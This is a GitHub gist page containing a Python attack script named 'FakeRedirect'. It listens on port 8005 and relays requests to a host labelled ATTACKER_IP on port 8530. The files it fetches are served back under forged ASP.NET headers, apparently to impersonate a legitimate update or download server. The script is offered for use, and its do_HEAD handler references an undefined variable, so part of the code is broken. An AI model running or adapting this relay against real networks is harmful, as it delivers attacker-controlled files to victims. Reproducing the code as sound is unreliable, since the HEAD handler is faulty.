Skip to content

Instantly share code, notes, and snippets.

@par-retest
Last active September 2, 2026 12:37
Show Gist options
  • Select an option

  • Save par-retest/90f64a9cd4377c5915fcc374c6e80c78 to your computer and use it in GitHub Desktop.

Select an option

Save par-retest/90f64a9cd4377c5915fcc374c6e80c78 to your computer and use it in GitHub Desktop.
Server listening on port 8005, forwarding GET / HEAD requests to a specific IP
from http import server
import socketserver
import requests
PORT = 8005
ATTACKER_IP = '192.168.12.1'
class FakeRedirect(server.BaseHTTPRequestHandler):
def do_GET(self):
print(f'GET: {self.path}')
new_path = f'http://{ATTACKER_IP}:8530/{self.path}'
r = requests.get(new_path)
self.protocol_version = 'HTTP/1.1'
self.send_response(200)
self.send_header('Cache-Control', 'private')
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Length', len(r.content))
self.send_header('X-AspNet-Version', '4.0.30319')
self.send_header('X-Powered-By', 'ASP.NET')
self.end_headers()
self.wfile.write(r.content)
def do_HEAD(self):
print(f'HEAD: {self.path}')
self.protocol_version = 'HTTP/1.1'
self.send_response(200)
self.send_header('Cache-Control', 'private')
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Length', len(r.content))
self.send_header('X-AspNet-Version', '4.0.30319')
self.send_header('X-Powered-By', 'ASP.NET')
self.end_headers()
print('Server started.')
socketserver.TCPServer(('', PORT), FakeRedirect).serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment